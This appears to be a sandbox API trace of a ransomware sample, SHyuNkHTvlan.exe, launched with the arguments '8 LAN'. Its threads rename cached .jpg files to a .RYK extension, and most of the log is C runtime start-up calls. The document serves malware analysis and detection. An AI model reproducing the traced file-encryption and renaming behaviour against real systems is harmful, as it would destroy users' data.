	[0284.844] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBz9wz[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbz9wz[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.844] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.845] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBz9wz[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbz9wz[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBz9wz[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbz9wz[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3845
	os_tid = 0x408c

	[0284.846] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBzxW1[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.846] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBzxW1[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbzxw1[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.846] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.846] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBzxW1[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbzxw1[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBzxW1[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbzxw1[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3846
	os_tid = 0x4090

	[0284.847] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC06Ub[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.847] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC06Ub[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc06ub[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.847] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.848] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC06Ub[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc06ub[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC06Ub[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc06ub[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3847
	os_tid = 0x4094


Process:
	id = "2"
	image_name = "shyunkhtvlan.exe"
	filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\shyunkhtvlan.exe"
	page_root = "0x33771000"
	os_pid = "0x7b4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SHyuNkHTvlan.exe\" 8 LAN"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 4
	os_tid = 0x1c4

	[0085.999] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2efdf8 | out: lpSystemTimeAsFileTime=0x2efdf8*(dwLowDateTime=0x6fab870, dwHighDateTime=0x1d5cdef)) 
	[0085.999] GetCurrentThreadId () returned 0x1c4
	[0086.000] GetCurrentProcessId () returned 0x7b4
	[0086.000] QueryPerformanceCounter (in: lpPerformanceCount=0x2efe00 | out: lpPerformanceCount=0x2efe00*=22792167273) returned 1
	[0086.170] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0
	[0086.170] GetLastError () returned 0x57
	[0086.170] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef6760000
	[0086.176] GetProcAddress (hModule=0x7fef6760000, lpProcName="InitializeCriticalSectionEx") returned 0x0
	[0086.176] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0086.176] GetLastError () returned 0x57
	[0086.176] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0086.179] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0
	[0086.179] GetLastError () returned 0x57
	[0086.179] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76f20000
	[0086.179] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190
	[0086.179] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90
	[0086.180] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0
	[0086.180] GetLastError () returned 0x57
	[0086.180] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef6760000
	[0086.180] GetProcAddress (hModule=0x7fef6760000, lpProcName="InitializeCriticalSectionEx") returned 0x0
	[0086.181] GetProcessHeap () returned 0x4d0000
	[0086.181] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0086.181] GetLastError () returned 0x57
	[0086.181] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0086.182] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0
	[0086.182] GetLastError () returned 0x57
	[0086.182] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76f20000
	[0086.182] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190
	[0086.183] GetLastError () returned 0x57
	[0086.183] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520
	[0086.183] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x4e7990
	[0086.183] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90
	[0086.183] SetLastError (dwErrCode=0x57) 
	[0086.183] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x1000) returned 0x4e7d60
	[0086.188] GetStartupInfoW (in: lpStartupInfo=0x2efcd0 | out: lpStartupInfo=0x2efcd0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SHyuNkHTvlan.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x1)) 
	[0086.188] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0086.188] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0086.188] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0086.189] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SHyuNkHTvlan.exe\" 8 LAN"
	[0086.189] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SHyuNkHTvlan.exe\" 8 LAN"
	[0086.189] GetLastError () returned 0x57
	[0086.189] SetLastError (dwErrCode=0x57) 
	[0086.193] GetLastError () returned 0x57
	[0086.194] SetLastError (dwErrCode=0x57) 
	[0086.194] GetACP () returned 0x4e4
	[0086.195] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x0, Size=0x228) returned 0x4e75f0
	[0086.195] IsValidCodePage (CodePage=0x4e4) returned 1
	[0086.195] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x2efca0 | out: lpCPInfo=0x2efca0) returned 1
	[0086.195] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x2ef540 | out: lpCPInfo=0x2ef540) returned 1
	[0086.195] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2ef560, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0086.195] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2ef560, cbMultiByte=256, lpWideCharStr=0x2ef290, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȰM") returned 256
	[0086.195] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȰM", cchSrc=256, lpCharType=0x2ef860 | out: lpCharType=0x2ef860) returned 1
	[0086.195] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2ef560, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0086.195] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2ef560, cbMultiByte=256, lpWideCharStr=0x2ef230, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256
	[0086.195] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0086.195] GetLastError () returned 0x57
	[0086.195] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0086.197] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710
	[0086.197] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0086.198] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x2ef020, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256
	[0086.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x2ef660, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x08", lpUsedDefaultChar=0x0) returned 256
	[0086.198] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2ef560, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0086.198] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2ef560, cbMultiByte=256, lpWideCharStr=0x2ef230, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256
	[0086.199] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0086.199] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x2ef020, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256
	[0086.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x2ef760, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256
	[0086.199] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x0, Size=0x100) returned 0x4e9d70
	[0086.199] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1400ce670, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SHyuNkHTvlan.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\shyunkhtvlan.exe")) returned 0x36
	[0086.199] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x9a) returned 0x4e7380
